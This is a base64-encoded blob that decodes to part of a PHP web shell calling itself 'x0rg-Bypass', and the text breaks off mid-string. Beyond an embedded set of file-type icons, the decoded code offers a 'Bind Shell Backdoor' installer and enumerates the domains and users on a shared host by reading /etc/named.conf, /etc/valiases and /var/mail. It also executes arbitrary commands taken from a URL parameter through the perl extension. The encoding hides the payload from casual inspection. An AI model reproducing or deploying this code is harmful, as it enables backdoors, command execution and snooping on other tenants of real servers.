QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBamdBQ3NKckRSSFNJQ0RRN0lNWERnSng4RXZadUljYlBCb29ad2JCd09NQWZNbVl3QkNBMnNFY05CakpDTVlBVExJT0xpb2tvY20iLg0KIkMxUXNrQUNsQ3hjR0JqN0VzTkhvUUFjaVNDQzFtTkFtakpnR0dFQlFvQkhpZ0tFTkJqaGNDQkFJelJvR0Zrd1FNTktueWdnUlNSQWciLg0KIjJCSHBEQlVlZXdSVjBQREhDcDRCU2dqdzBaR0h6SlFjRVZENElFSEp6WWtCZm80c2VZR2xEQndnVENBQVl2RkU0S0VCSllJNFVyUEYiLg0KIkN5SUlLK3dvWWpNd1FRSTZDb3I4bUtFbnhSMG5BaFlLakhKRlFZRUNrcVNrU2ExNjRJTTZMaExScnIzd3dhQkN1M2tQRktDbGRrQUEiLg0KIk93PT0iLA0KImV4dF9kb2MiPT4NCiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vOERBd0FBQS80Q0FnQUFBQUFBQUFBQUFBQU5SIi4NCiJXRXJjcnJDUVFDc2xRQTJ3T3dkWGtJRldOVkJBK25tZTRBWkN1b2xuUndrd0Y5UWdFT1BBRkcyMUErWjRzUUhPOTRyMWVKUlRKVm1xIi4NCiJNSU9yclBTV1daUmN6YTZrYW9sQkNPQjBXb3hSdWQwSkFEcz0iLA0KImV4dF9leGUiPT4NCiJSMGxHT0RsaEV3QU9BS0lBQUFBQUFQLy8vd0FBdmNiR3hvU0VoUC8vL3dBQUFBQUFBQ0g1QkFFQUFBVUFMQUFBQUFBVEFBNEFBQU03Ii4NCiJXTFRjVGlXU1FhdXRCRVExaFArZ2wyMVRLQVFBaW83UzhMeGFHOHgwUGJPY3JRZjR0TnU5d2E4V0hOS0tSbDRzbCt5OVlCdUFkRXF0Ii4NCiJ4aElBT3c9PSIsDQoiZXh0X2giPT4NCiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ3YvLy93QUFBQUFBZ0lDQWdNREF3QUFBQUFBQUFBQUFBQU5CIi4NCiJXTFBjOVhDQVNTY1o4TWxLQ2NBUlJ3VmtFQUtDSUJLbU5xVnJxN3dwYk1tYmJiT25yZ0k4RitxM3c5R09RT01RR1p5Sk9zcG5Na0tvIi4NCiJXcS9Oa25iYlNnQUFPdz09IiwNCiJleHRfaHBwIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWd2Ly8vd0FBQUFBQWdJQ0FnTURBd0FBQUFBQUFBQUFBQUFORiIuDQoiV0xQYzlYQ0FTU2NaOE1sS2ljb2JCd1JrRUFHQ0lBS0VxYUZxcGJabm1rNDIvZDQzeXJvS21MQURsUEJpczZMd0tOQUZqN2pmYVdWUiIuDQoiVXFVYWduYkxkWmErWUZjQ0FEcz0iLA0KImV4dF9odGFjY2VzcyI9Pg0KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVA4QUFQOEEvd0FBZ0lBQWdQLy9BQUFBQUFBQUFBTTYiLg0KIldFWFcvazZSQUdzam1Gb1lnTkJiRXdqREIyNWRHWnpWQ0tnc1I4TGhTbnByUFE0MDZwYWZta0R3VXVtSXZKQm9SQUFBbEV1REV3cEoiLg0KIkFBQTciLA0KImV4dF9odG1sIj0+DQoiaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQkdkQlRVRUFBSy9JTndXSzZRQUFBQmwwUlZoMFUyOW1kSGRoY21VQVFXUnZZbVVnU1cxaFoyVlNaV0ZrZVhISlpUd0FBQVAzU1VSQlZIamFZdHh4NUJZREl3TVVNRExFU0lqeVRlUmlaMkg0Ly84L1dPZ3ZFUC82OVpmaDUrOS9ESThldjNqeDlOR0RLQVltcG92Yy9NSU1jNmUwTXdBRUVBc3pFeVBEUDZoK3BuOS9PUldrQllWNE9WbGhSakw4QnByejVldGZobmNmUGpQOGw1SVE0dVZoMzNMdDJpMWZvQVVYUVBJQUFjU2lyQzNGOFBvWEk4TjdKbWFHcnc5Zi8vejY3UzhEQ3pNckF3dmpQd1pXVmtZR3B2K01ESXhBSnpJQjVWbFpHQmdzalRSbFdGaVlOOTkvL0Jwc0NFQUFzYkN4c1RDd01qRXgvUDNOWlBtY1NUQjIvVU5tQnNiLy94aStmdjNEb0NIOGw4RkZsWm1CZzRXVmdaMmRsZUhIcjk4TWwyN2NZL2pQd0N6RHhjMjNCZWpMUUlBQUFFRUF2djhDQXdIL0FQVDEvbC9sN1ArL0lSd0hSRUV0QlFBbUpnSUErZzRHQUtIVUJnQ0d1ZlFBOWZiMUFBZ0ZBd0FTRUF3QTlmZitBT2pyOFFBRkJnb2IvUHo5WVFLSTZlUFAvN3FIN3pCUDVHSmhZdGZqWjJLUUFucWZDZWhVb0lVTW5Gek1EQnV2OFRBc09QU2VBV2drMEd2TUROeGM3QXhDdk93TTRzSThRSmY4L3dzUVFDemJiLzlML3ZHTGdkOUtrb0hoMDNjR2hrdS9HQmhlZm1WZytBakVRSEZneERBenJEcjRuY0ZLL2prRER4Y2ZNRHdZR2JpNE9CaFlnRjRIQnMxL2dBQmlPbmY5cC9tclQ3OFpYdjloWUhqM200SGg4aE1HaHF1UEdCZ2V2bVJnZVArTmdlSFA1KzhNdHk5OFpMaisrRDBESy9OL0JtNE9kbURBL21EZzUyUUR4enRBQURHOWZQeURiL2VSRHd6VGp2eG1BSnJCWUF4MHlWK2d6ZmVCQnZ6NjhwZmg2NFBYRE94Y3JBeC8vNEppaDRtQkRSZ1ZQRHhBbHdEWm9OZ0JDQ0NtUHovL1BuMTUraVhEaXl1ZkdGNStBTm5Bd01ENjZ5ZkR6Y05QR0lTL3ZXYjQrdUlUQXljdkUxaWNtUVVZbGF5c0RGOC92d01HS2hNNG5RQUVFTk96ODR0Mmk0bUpNSGlZY0ROSThETXlDQUpkWmk0RmpCOUxWZ1o5Vlc0R0VXbGVCZ1dKSHd4U1FFT1lnZEg1SDVqc1JFVEZHZjREMHdVb3JRSUVFTk9EUTVNV3EyaDl1U1V0eThFZ0pjREFJTWZPd09DcHk4RlFraWJPb0tiT3krQWFLTWJnWWZpUlFWeEVET2hrRmdabVlKcDU4ZndKTUdqL0FrT0FrUUVnZ0ZoK2ZIajU0dUxxMVBoVHVyTVhQWHFrcHNyNStRTUREemN6QTVjTUw4T3pONThZQk4rZFk3RFNFR0xnRnhKbCtBVU1oMy8vL2pESXlzZ0R3dy9rZ3Y4TUFBSEVEUExIMTllUG5wemNzbXpMemR1dkZUNHpLR3VjT1ArTTRmZm5ad3lLckk4WmJEVkVHQlNVTllEcWdScisvV2RnQXRMMzd0eGdFQVo2WTlYS2xhY0FBb2dGbG1uK2ZudDNYK2J2NmUwTDZ0cjhQNzU3QjR5SnZ3emN2SUlNYkJ5Y0RIK0JudjBOekkzQURNSHc1KzgvQmcxZFl3WW1ObUIrWVdYbEFBZ2dSRTRHeHNuVWVldjA5K3phbHZEc3lTT2d3WXpnREEyeTlUL0RmM2p1QkRGQlBCWVdOc2JiTjg2ZkJBZ3dBRDNuVTE3VzJGMmtBQUFBQUVsRlRrU3VRbUNDIiwNCiJleHRfanBnIj0+DQoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFrQUxBQUFBQUFRQUJBQWd3QUFBUC8vLzhEQXdJQ0FnSUNBQVA4QUFBRC9BSUFBQUFDQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUmNjTWhKazcwajZLM0Z1RmJHYlVMd0pjVWhqZ0hnQWtVcUVnSk5FRUFneEVjaSIuDQoiQ2k4QUxzQUxhWENHSks1bzFBR1NCc0lBY0FCZ2pnQ0V3QU1FWHAwQkJNTGwvQTZ4NVdadFBmUTJnNiswajhWeCs3YjQvTlpxZ2Z0ZCIuDQoiRnhFQU93PT0iLA0KImV4dF9qcyI9Pg0KIlIwbEdPRGRoRUFBUUFDSUFBQ3dBQUFBQUVBQVFBSUwvLy84QUFBQ0FnSURBd01ELy93Q0FnQUFBQUFBQUFBQURVQ2k2M0NFZ3hpYkgiLg0KImswQVFzRzIwMEFRVUpCZ0FvTWloajVkbUl4bk1KeHRxcTFkZEUwRVdPaHNHMTZtOU1vb0FpU1dFbVRpdUM0VHcyQkIwTDhGZ0lBaHMiLg0KImEwMEFqWVlCYmMvbzlIak5uaVVBQURzPSIsDQoiZXh0X2xuayI9Pg0KIlIwbEdPRGxoRUFBUUFHWUFBQ0g1QkFFQUFGQUFMQUFBQUFBUUFCQUFoZ0FBQUFCaUFHUExNbVhNTTB5L0psZkZMRlM2SzFyR0xXak8iLg0KIk5TbXVGVFd6R2tDNUlHM1RPby8xWEU3QUp4Mm9ENVg3WW9UcVVZcndWMy9sVEhUYVFYbmZSbURHTVlYclVqS1FId0FNQUdmTlJIemkiLg0KIlV3dzVDQUFxQURPWkdrYXNMWExZUWdoSUJCTjNEVkcyTlduUFJuRFdSd0JPQUI1d0ZRQkJBQUErQUZHM05BazVCU0dIRVVxd01BQmsiLg0KIkFBQWdBQUF3QUFCZkFEZTBHeGVMQ3haY0RFSzZJVXV4S0ZqRkxFM0FKMkhITVJLaUNRV0NBZ0JtQUJwdERnK0hDQlplREFxRkJXREciLg0KIk15bVVGUXBXQmoyZkpoZHZEUWhPQkM2WEYzZmRSME82SVIyT0R3QVpBSFBaUUNTUkVnQVNBRGFYSHdBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFlWmdGQlFQQUdGaG9jQWdvSTdPZzhKQ2dzRUJRSVdQUUNKZ2tDT2tKS1VQNWVZVUQ2UGtaTTUiLg0KIk5LQ0tVRE15TlRnM0FnZzJTNWVxVUVwSkRnY0RDQXhNVDA2aGdrMjZ2QXdVRlVoRHRZcEN1d1pCeUJNUlJNeUNSd01HUmtVZzB4SWYiLg0KIjFsQWVCaUVBR1JnWEVnMHQ0U3dyb0NZbERSQW40U21wS0NvUUpDL2hxVkF1Tkd6ZzhFOVJLQkVqWUJTMEpTaEdoNFVNb1lBU0JpVVEiLg0KIkFEcz0iLA0KImV4dF9sb2ciPT4NCiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBTURBd0lDQWdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUVLRXdLNlV5QnpDNDc1Z0VBbHRKa2xMUkFXemJDbFJocks0THk1eWc3L3dOIi4NCiJ6TFVhTEdCUUJWMkVnRkxWNHhFT1NTV3Q5Z1FRQnBScHF4b1ZOYVBLa0ZiNUVoL0xtVUd6RjVxRTMrRU1JZ0lBT3c9PSIsDQoiZXh0X3BocCI9Pg0KImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQUJsMFJWaDBVMjltZEhkaGNtVUFRV1J2WW1VZ1NXMWhaMlZTWldGa2VYSEpaVHdBQUFQM1NVUkJWSGphWXR4eDVCWURJd01VTURMRVNJanlUZVJpWjJINC8vOC9XT2d2RVAvNjlaZmg1KzkvREk4ZXYzang5TkdES0FZbXBvdmMvTUlNYzZlME13QUVFQXN6RXlQRFA2aCtwbjkvT1JXa0JZVjRPVmxoUmpMOEJwcno1ZXRmaG5jZlBqUDhsNUlRNHVWaDMzTHQyaTFmb0FVWFFQSUFBY1NpckMzRjhQb1hJOE43Sm1hR3J3OWYvL3o2N1M4REN6TXJBd3ZqUHdaV1ZrWUdwditNREl4QUp6SUI1VmxaR0Jnc2pUUmxXRmlZTjk5Ly9CcHNDRUFBc2JDeHNUQ3dNakV4L1AzTlpQbWNTVEIyL1VObUJzYi8veGkrZnYzRG9DSDhsOEZGbFptQmc0V1ZnWjJkbGVISHI5OE1sMjdjWS9qUHdDekR4YzIzQmVqTFFJQUFBRUVBdnY4Q0F3SC9BUFQxL2wvbDdQKy9JUndIUkVFdEJRQW1KZ0lBK2c0R0FLSFVCZ0NHdWZRQTlmYjFBQWdGQXdBU0VBd0E5ZmYrQU9qcjhRQUZCZ29iL1B6OVlRS0k2ZVBQLzdxSDd6QlA1R0poWXRmaloyS1FBbnFmQ2VoVW9JVU1uRnpNREJ1djhUQXNPUFNlQVdnazBHdk1ETnhjN0F4Q3ZPd000c0k4UUpmOC93c1FRQ3piYi85TC92R0xnZDlLa29IaDAzY0doa3UvR0JoZWZtVmcrQWpFUUhGZ3hEQXpyRHI0bmNGSy9qa0REeGNmTUR3WUdiaTRPQmhZZ0Y0SEJzMS9nQUJpT25mOXAvbXJUNzhaWHY5aFlIajNtNEhoOGhNR2hxdVBHQmdldm1SZ2VQK05nZUhQNSs4TXR5OThaTGorK0QwREsvTi9CbTRPZG1EQS9tRGc1MlFEeHp0QUFERzlmUHlEYi9lUkR3elRqdnhtQUpyQllBeDB5VitnemZlQkJ2ejY4cGZoNjRQWERPeGNyQXgvLzRKaWg0bUJEUmdWUER4QWx3RFpvTmdCQ0NDbVB6Ly9QbjE1K2lYRGl5dWZHRjUrQU5uQXdNRDY2eWZEemNOUEdJUy92V2I0K3VJVEF5Y3ZFMWljbVFVWWxheXNERjgvdndNR0toTTRuUUFFRU5Pejg0dDJpNG1KTUhpWWNETkk4RE15Q0FKZFppNEZqQjlMVmdaOVZXNEdFV2xlQmdXSkh3eFNRRU9ZZ2RINUg1anNSRVRGR2Y0RDB3VW9yUUlFRU5PRFE1TVdxMmg5dVNVdHk4RWdKY0RBSU1mT3dPQ3B5OEZRa2liT29LYk95K0FhS01iZ1lmaVJRVnhFRE9oa0ZnWm1ZSnA1OGZ3Sk1Hai9Ba09Ba1FFZ2dGaCtmSGo1NHVMcTFQaFR1ck1YUFhxa3BzcjUrUU1ERHpjekE1Y01MOE96TjU4WUJOK2RZN0RTRUdMZ0Z4SmwrQVVNaDMvLy9qREl5c2dEd3cva2d2OE1BQUhFRFBMSDE5ZVBucHpjc216THpkdXZGVDR6S0d1Y09QK000ZmZuWnd5S3JJOFpiRFZFR0JTVU5ZRHFnUnIrL1dkZ0F0TDM3dHhnRUFaNlk5WEtsYWNBQW9nRmxtbitmbnQzWCtidjZlMEw2dHI4UDc1N0I0eUp2d3pjdklJTWJCeWNESCtCbnYwTnpJM0FETUh3NSs4L0JnMWRZd1ltTm1CK1lXWGxBQWdnUkU0R3hzblVlZXYwOSt6YWx2RHN5U09nd1l6Z0RBMnk5VC9EZjNqdUJERkJQQllXTnNiYk44NmZCQWd3QUQzblUxN1cyRjJrQUFBQUFFbEZUa1N1UW1DQyIsDQoiZXh0X3BsIj0+DQoiUjBsR09EbGhGQUFVQUtML0FQLzQvOERBd0g5L0FQLzRBTCsvdndBQUFBQUFBQUFBQUNINUJBRUFBQUVBTEFBQUFBQVVBQlFBUUFNbyIuDQoiR0xyYzNnT0FNWVI0T091ZHJlZWdSbEJXU0oxbHFLNXM2NExqV0YzY1FNanBKcERmNi8vQUJBQTciLA0KImV4dF9zd2YiPT4NCiJSMGxHT0RsaEZBQVVBTVFSQVArY25QOVNVczRBQVArY0FQL09BSVFBQVA5akFNNWpuTTZjWTg2Y25LWE85OGJleHB3QUFQOHhBUC9PIi4NCiJuQUFBQVAvLy8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkVBTEFBQUFBQVVBQlFBQUFWN1lDU09aR21lNlBtc2JNdXFVQ3pQMEFQTHpoQWJ1UG5RQXdlRTUyZzBmREtDTUdnb09tNFFCNEdBIi4NCiJHQmdhVDJnTVFZZ1ZqVWZTVDNZb0ZHS0JSZ0JxUGpnWURFRnhYUnBER0VJQTR4QVFRTlIxTkhvTUVBQUNBQkZoSXo4ckNuY01BR2dDIi4NCiJOeXNMa0RPVFNDc0pOREphblRVcUxxTTJLYWFucUJFaEFEcz0iLA0KImV4dF90YXIiPT4NCiJSMGxHT0RsaEVBQVFBR1lBQUNINUJBRUFBRXNBTEFBQUFBQVFBQkFBaGdBQUFCbE9BRmdkQUZBQUFJWUNVd0E4WndBOFo5RFk0SklDIi4NCiJXdi8vL3dDSVdCRTJBQUF5VUppY3FJU0hsNENBQVBENC8rRGc4UFg2LzVPWHBMN0gwKy8yL2FHbXNUSXlNdFRjNVAvL3NmTDUvOFhGIi4NCiJIZ0JZcHdCVWxnQlduMUJRQUc4YUlBQlFoUmJmbXdEY2t2K0gxMW5vdUVMbHJpemlwZitWM25QQS80MENVem1tL3dBNFhoVkRBQUdEIi4NCiJVeVdkLzBpdC8xdTEvM056QVA5NTBQOTkwbU81Lzd2MTRZenZ6WExyd29YSS81dlMvN0RrL3dCWG92OXN5dlJqd09oYXRRQ0hWMTdwIi4NCiJ1bzBHVVFCV25QKys4TG01QVArajVRQlVsQUNLV2dBNGJqSlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZWVnQUtDZzRTRlN4WU5FdzRnTWdTT2o0OERGQWNIRVVJWlJFWW9KRFF6UFQ0L0F3Y1FDUWtnIi4NCiJHd2lwcXFrcUF4SWFGUmdYRHdPMXRyY0F1YnE3dkllSkRpd2hCY1BFeEF5VGxTRVpPem81S1RVeE1Dc3ZES09sU1JzY0hEd2VIa01kIi4NCiJIVWNNcjdHekJ1Zm82QXk4N0x1K2lpMGZBZlAwOUF2SUVSOFpOamM0UVNVbVRvZ1lzY0JhQWlWRmtDaFl5QkNJaXdYa1pEMm9SM0ZCIi4NCiJ1NHRMQWdFQU93PT0iLA0KImV4dF90eHQiPT4NCiJSMGxHT0RsaEV3QVFBS0lBQUFBQUFQLy8vOGJHeG9TRWhQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBVEFCQUFBQU5KIi4NCiJTQXJFM2xESkZrYTkxcktwQS9EZ0ozSkJhWjZsc0NrVzZxcWtCNGp6RjhCUzY1NDRXOVpBVzQrZzI2Vld4Rjl3ZG93Wm16bmxFdXA3Ii4NCiJVcFBXRzNJZzZIcS9YbVJqdVp3a0FBQTciLA0KImV4dF93cmkiPT4NCiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBSUNBZ01EQXdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUlVNaEprYjBDNksySHVFaVJjZHNBZktFeGtrRGdCb1Z4c3R3QUF5cGR1b2FvIi4NCiJhNFNYVDBjNEJGMHJVaEZBRUFRUUk5ZG1lYlJFVzh5WEM2TngyUUk3THJZYnRwSlpOc3hnelc2bkxkcTQ5aElCQURzPSIsDQoiZXh0X3htbCI9Pg0KIlIwbEdPRGxoRUFBUUFFUUFBQ0g1QkFFQUFCQUFMQUFBQUFBUUFCQUFoUC8vL3dBQUFQSHg4WWFHaGpObW1hYks4QUFBbVFBQWdBQ0EiLg0KImdET1pBRE5tL3pPWi96UC8vOERBd0RQTS93QUEvd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQVZrNENDT3BBaWQwQUNzYk5zTXFOcXVBaUEwQUp6U2RsOEh3TUJPVUtnaEVBcGJFU0JVRlF3QUJJQ3giLg0KIk9BQU14ZWJUaG1BNEVvY2F0Z25ZS2hhSmh4VXJJQk5yaDdqeXQvUFphKzBoWWMvbjAyVjRkelp1ZllWL1BJR0pib0tCUWtHUGtFRVEiLg0KIklRQTciDQopOw0KJGltZ2VxdWFscyA9IGFycmF5KA0KICAiZXh0X3RhciI9PmFycmF5KCJleHRfdGFyIiwiZXh0X3IwMCIsImV4dF9hY2UiLCJleHRfYXJqIiwiZXh0X2J6IiwiZXh0X2J6MiIsImV4dF90YnoiLCJleHRfdGJ6MiIsImV4dF90Z3oiLCJleHRfdXUiLCJleHRfeHhlIiwiZXh0X3ppcCIsImV4dF9jYWIiLCJleHRfZ3oiLCJleHRfaXNvIiwiZXh0X2xoYSIsImV4dF9semgiLCJleHRfcGJrIiwiZXh0X3JhciIsImV4dF91dWYiKSwNCiAgImV4dF9waHAiPT5hcnJheSgiZXh0X3BocCIsImV4dF9waHAzIiwiZXh0X3BocDQiLCJleHRfcGhwNSIsImV4dF9waHRtbCIsImV4dF9zaHRtbCIsImV4dF9odG0iKSwNCiAgImV4dF9qcGciPT5hcnJheSgiZXh0X2pwZyIsImV4dF9naWYiLCJleHRfcG5nIiwiZXh0X2pwZWciLCJleHRfamZpZiIsImV4dF9qcGUiLCJleHRfYm1wIiwiZXh0X2ljbyIsImV4dF90aWYiLCJ0aWZmIiksDQogICJleHRfaHRtbCI9PmFycmF5KCJleHRfaHRtbCIsImV4dF9odG0iKSwNCiAgImV4dF9hdmkiPT5hcnJheSgiZXh0X2F2aSIsImV4dF9tb3YiLCJleHRfbXZpIiwiZXh0X21wZyIsImV4dF9tcGVnIiwiZXh0X3dtdiIsImV4dF9ybSIpLA0KICAiZXh0X2xuayI9PmFycmF5KCJleHRfbG5rIiwiZXh0X3VybCIpLA0KICAiZXh0X2luaSI9PmFycmF5KCJleHRfaW5pIiwiZXh0X2NzcyIsImV4dF9pbmYiKSwNCiAgImV4dF9kb2MiPT5hcnJheSgiZXh0X2RvYyIsImV4dF9kb3QiKSwNCiAgImV4dF9qcyI9PmFycmF5KCJleHRfanMiLCJleHRfdmJzIiksDQogICJleHRfY21kIj0+YXJyYXkoImV4dF9jbWQiLCJleHRfYmF0IiwiZXh0X3BpZiIpLA0KICAiZXh0X3dyaSI9PmFycmF5KCJleHRfd3JpIiwiZXh0X3J0ZiIpLA0KICAiZXh0X3N3ZiI9PmFycmF5KCJleHRfc3dmIiwiZXh0X2ZsYSIpLA0KICAiZXh0X21wMyI9PmFycmF5KCJleHRfbXAzIiwiZXh0X2F1IiwiZXh0X21pZGkiLCJleHRfbWlkIiksDQogICJleHRfaHRhY2Nlc3MiPT5hcnJheSgiZXh0X2h0YWNjZXNzIiwiZXh0X2h0cGFzc3dkIiwiZXh0X2h0IiwiZXh0X2h0YSIsImV4dF9zbyIpDQopOw0KaWYgKCEkZ2V0YWxsKSB7DQogIGhlYWRlcigiQ29udGVudC10eXBlOiBpbWFnZS9naWYiKTsNCiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsNCiAgaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsNCiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTsNCiAgaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmRhdGUoInIiLGZpbGVtdGltZShfX0ZJTEVfXykpKTsNCiAgZm9yZWFjaCgkaW1nZXF1YWxzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkaW1nLCR2KSkgeyRpbWcgPSAkazsgYnJlYWs7fX0NCiAgaWYgKGVtcHR5KCRpbWFnZXNbJGltZ10pKSB7JGltZyA9ICJzbWFsbF91bmsiO30NCiAgaWYgKGluX2FycmF5KCRpbWcsJGV4dF90YXIpKSB7JGltZyA9ICJleHRfdGFyIjt9DQogIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRpbWddKTsNCn0NCmVsc2Ugew0KICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGE9PiRiKSB7Zm9yZWFjaCAoJGIgYXMgJGQpIHtpZiAoJGEgIT0gJGQpIHtpZiAoIWVtcHR5KCRpbWFnZXNbJGRdKSkge2VjaG8oIldhcm5pbmchIFJlbW92ZSBcJGltYWdlc1siLiRkLiJdPGJyPiIpO319fX0NCiAgbmF0c29ydCgkaW1hZ2VzKTsNCiAgJGsgPSBhcnJheV9rZXlzKCRpbWFnZXMpOw0KICBlY2hvICAiPGNlbnRlcj4iOw0KICBmb3JlYWNoICgkayBhcyAkdSkge2VjaG8gJHUuIjo8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz0iLiR1LiJcIiBib3JkZXI9XCIxXCI+PGJyPiI7fQ0KICBlY2hvICI8L2NlbnRlcj4iOw0KfQ0KZXhpdDsNCn0NCmlmICgkeCA9PSAiYWJvdXQiKSB7DQogIGVjaG8gIngwcmctQnlwYXNzIjsNCn0NCmlmICgkeCA9PSAic2hiZCIpew0KICAkbXNnID0gJF9QT1NUWydiYWNrY2Nvbm5tc2cnXTsNCiAgJGVtc2cgPSAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXTsNCiAgZWNobygiPGNlbnRlcj48Yj5CaW5kIFNoZWxsIEJhY2tkb29yOjwvYj48YnI+PGJyPjxmb3JtIG5hbWU9Zm9ybSBtZXRob2Q9UE9TVD4NCiAgQmluZCBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nYmFja2Nvbm5lY3Rwb3J0JyB2YWx1ZT0nNTk5Mic+DQogIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3VzZScgdmFsdWU9J3NoYmQnPg0KICA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nSW5zdGFsbCBCYWNrZG9vcic+PC9mb3JtPiIpOw0KICBlY2hvKCIkbXNnIik7DQogIGVjaG8oIiRlbXNnIik7DQogIGVjaG8oIjwvY2VudGVyPiIpOw0KfQ0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+XG4iOw0KPz4NCjw/DQppZigkeCA9PSAidXNyZG9tIikgew0KaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7DQppZihpc19maWxlKCcvZXRjL25hbWVkLmNvbmYnKSkNCnsNCiRmaWxlPUBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9uYW1lZC5jb25mJyxGSUxFX0lHTk9SRV9ORVdfTElORVMgfCBGSUxFX1NLSVBfRU1QVFlfTElORVMpOw0KQHByZWdfbWF0Y2hfYWxsKCIvLio/em9uZSBcIiguKj8pXCIgey9pIiwgJGZpbGUsICRkb21haW5zKTsNCkBleGVjKCdscyAvdmFyL21haWwnLCR1KTsNCmZvcmVhY2goJGRvbWFpbnNbMV0gYXMgJGRvbWFpbil7DQokaXAgPSBAZ2V0aG9zdGJ5bmFtZSgkZG9tYWluKTsNCiRpZHg9QHN0YXQoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluLicnKTsNCmlmKCRpZHhbNF0gIT0nJyl7DQokdXNlcj1AcG9zaXhfZ2V0cHd1aWQoJGlkeFs0XSk7fWVsc2V7JHVzZXJbbmFtZV09ICc6U1VTUEVORCc7fQ0KZWNobyAiJGRvbWFpbiA6ICR1c2VyW25hbWVdICA9PiAkaXA8YnIvPiI7DQp9fQ0KZWxzZQ0Kew0KZWNobyAiVW5hYmxlIHRvIEJ5cGFzcyI7DQp9DQp9DQo/Pg0KPD8NCmlmICgkeCA9PSAiZXh0ZSIpIHsNCmlmKCFleHRlbnNpb25fbG9hZGVkKCdwZXJsJykpIHsNCmVjaG8oJypwZXJsIGV4dGVuc2lvbiBpcyBub3QgbG9hZGVkJyk7IA0KfQ0KZWxzZSB7DQppZighaXNzZXQoJF9HRVQpKSRfR0VUPSYkSFRUUF9HRVRfVkFSUzsgDQppZihlbXB0eSgkX0dFVFsnY21kJ10pKSRfR0VUWydjbWQnXT0oc3RydG91cHBlcihzdWJzdHIoUEhQX09TLDAsMykpPT0nV0lOJyk/J2Rpcic6J2xzJzsgDQokcGVybD1uZXcgcGVybCgpOyANCmVjaG8gIjx0ZXh0YXJlYSByb3dzPScyNScgY29scz0n